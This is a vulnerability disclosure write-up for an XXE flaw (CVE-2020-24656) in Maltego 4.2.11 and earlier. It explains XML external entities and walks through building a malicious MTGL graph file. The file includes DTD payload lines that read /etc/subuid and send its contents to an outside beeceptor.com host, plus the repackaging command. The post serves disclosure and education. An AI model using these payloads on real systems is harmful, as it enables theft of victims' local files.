Maltego CVE-2020-24656 Analysis
What is Maltego?
"Maltego is software used for open-source intelligence and forensics, developed by Paterva from Pretoria, South Africa. Maltego focuses on providing a library of transforms for discovery of data from open sources, and visualizing that information in a graph format, suitable for link analysis and data mining." - Wikipedia
To put it simply, Maltego facilitates forensic investigations for security researchers, law enforcement and intelligence alike.
What's the problem?
Hackers for Change's Director of Advisory, Dominik Penner, discovered that Maltego versions 4.2.11 and below are vulnerable to XML external entity (XXE) injection via processing of MTZ (config) and MTGL (graph) files. These types of vulnerabilities can have a range of consequences, such as:
In this particular instance, the vulnerability allows an attacker to exfiltrate local files on a victims computer.
In more targeted and complex scenarios an attacker may be able to leverage SSRF to yield code execution on the victim's computer, or another computer on the victim's network. This is typically limited to specific network/device configurations and generally requires familiarity with the victim's local area network (LAN).
The issue with external entities
In order to fully understand the danger of external entities, it's important to first understand what an entity even is. Entities are XML variables that can be referenced by the application. Developers use entities to define values, and use said values in future code.
In this example, the "Message" tag contents will be populated by the "hello" entity we just defined.
So then what are external entities?
They're basically the same thing, however they allow you to define entities with external data, whereas with normal entities, you have to explicitly define the data being stored.
To create an external entity, we can use the "SYSTEM" keyword, followed by a URL, which will instruct the application to fetch the content from that external resource.
External Entity Example:
This snippet will fetch contents from the supplied URL and store them in the "hello" entity. The cool thing about external entities is that you aren't restricted to "external" resources.
By using different URI protocols, we can interact with other resources. If we want to read a local file on the server, we can use the following URI.
Now that we have gotten those file contents stored in a variable, we can setup another external entity to send a request to our malicious server with the contents. Once the request is sent to our server, we can check our access logs and observe the file contents.
In order for an attacker to successfully exploit this vulnerability, they would need to convince a victim to open a MTZ or MTGL file within Maltego. This is pretty common as Maltego utilizes these files to share content between multiple instances.
For example, MTGL / MTGX files are essentially project files, which can populate a Maltego client with an existing project.
MTZ files, however, are strictly for configurations, such as new transforms, new entities, etc.
For this example we will use a graph file because those are the most inconspicuous and are frequently shared among other people. The first step is to create an empty graph file, and drag an entity into the view. Once that's done, we can save it and start tweaking things within the MTGL.
The first thing I noticed with MTGL/MTZ files, was that they're actually just a bunch of XML and properties files compressed into a ZIP archive. This makes "reverse engineering" Maltego's file formats very easy.
The structure of a Maltego graph file looks something similar to this:
The idea here is that we're going to modify one of the XML files and add our payload, then repackage the MTGL to send off to the target.
In this example we'll modify one of the entities, which, by default looks like the following:
Realistically all we need to do is add our payload, then have it reference another external payload which will be responsible for the exfiltration.
For testing purposes, I used beeceptor.com, which is primarily used for REST API mocking. Beeceptor allows you to set up mock API rules, essentially allowing us to host our payload there.
At a high level, here's how the payload works. First, we set up an entity that grabs the payload from the supplied URL.
<!ENTITY % djp SYSTEM "https://sfhetjrtjyr.free.beeceptor.com/lol.dtd">
Then, in the lol.dtd file, we set up another entity grabbing contents from a local file.
<!ENTITY % data SYSTEM "file:///etc/subuid">
Then finally, we define another entity, which will send a request with the contents of the OTHER entity we created. Essentially exfiltrating the file.
<!ENTITY % pwn "<!ENTITY exfil SYSTEM 'https://sfhetjrtjyr.free.beeceptor.com/?%data;'>">
Now, when Maltego tries to render the entity, the sample value is set to:
Which will call our "exfil" entity, ultimately evaluating our payloads instantly when the graph file is rendered ;)
Tying it all together
Now that we have an understanding of how it all works, we can go ahead and test it. Simply create a graph file as instructed in the technical overview. Once that's done, we can go ahead and extract the archive.
Now we can modify the "Entities/maltego.Device.entity" file, with the following contents:
We also have to setup the rule on beeceptor in order for the payload to fetch the "lol.dtd" file.
Set up the rule so that the GET request to lol.dtd serves the following content:
<!ENTITY % data SYSTEM "file:///etc/subuid"> <!ENTITY % pwn "<!ENTITY exfil SYSTEM 'https://sfhetjrtjyr.free.beeceptor.com/?%data;'>">
Now that we've done all the setup, all we have to do is repackage the MTGL file, and send it off.
zip -r payload.mtgl ./*
A tree view of the MTGL file looks like this:
dom@kde:~/TEST$ tree . ├── Entities │ └── maltego.Device.entity ├── Graphs │ ├── Graph1 │ │ ├── Collection │ │ │ └── collection-nodes.data │ │ ├── DataEntities │ │ │ ├── _1_1.liv │ │ │ ├── _1.cfe │ │ │ ├── _1.cfs │ │ │ ├── _1.si │ │ │ └── segments_1 │ │ ├── DataLinks │ │ │ └── segments_1 │ │ ├── LayoutEntities │ │ │ ├── _0.cfe │ │ │ ├── _0.cfs │ │ │ ├── _0.si │ │ │ └── segments_1 │ │ ├── LayoutLinks │ │ │ └── segments_1 │ │ ├── StructureEntities │ │ │ ├── _4_1.liv │ │ │ ├── _4.cfe │ │ │ ├── _4.cfs │ │ │ ├── _4.si │ │ │ └── segments_1 │ │ └── StructureLinks │ │ └── segments_1 │ └── Graph1.properties ├── Icons │ └── Technology │ ├── RemoteControl24.png │ ├── RemoteControl32.png │ ├── RemoteControl48.png │ ├── RemoteControl96.png │ ├── RemoteControl.png │ └── RemoteControl.xml └── version.properties
The moment of truth...
Let's open up the payload.mtgl file we just generated in Maltego, and see if we get any results.
Hackers for Change extends a huge thanks to the Maltego team for addressing the issue so quickly. As of version 4.2.12, this issue has been patched, so be sure to update!
Due to the fact that MTGL and MTZ files are quite often shared among collaborators and third-parties, the chances of someone falling victim to this vulnerability is relatively high.
While I haven’t discovered a reliable way to escalate to code execution, it’s possible to exfiltrate local files, which may or may not contain secrets that can be used to get further access. Targeted attacks could lead to leaking private keys among other sensitive files.
If a Maltego client was being run on an internal network, this vulnerability would also open up the door to more promising SSRF attacks, which could compromise the network through a variety of attacks depending on infrastructure.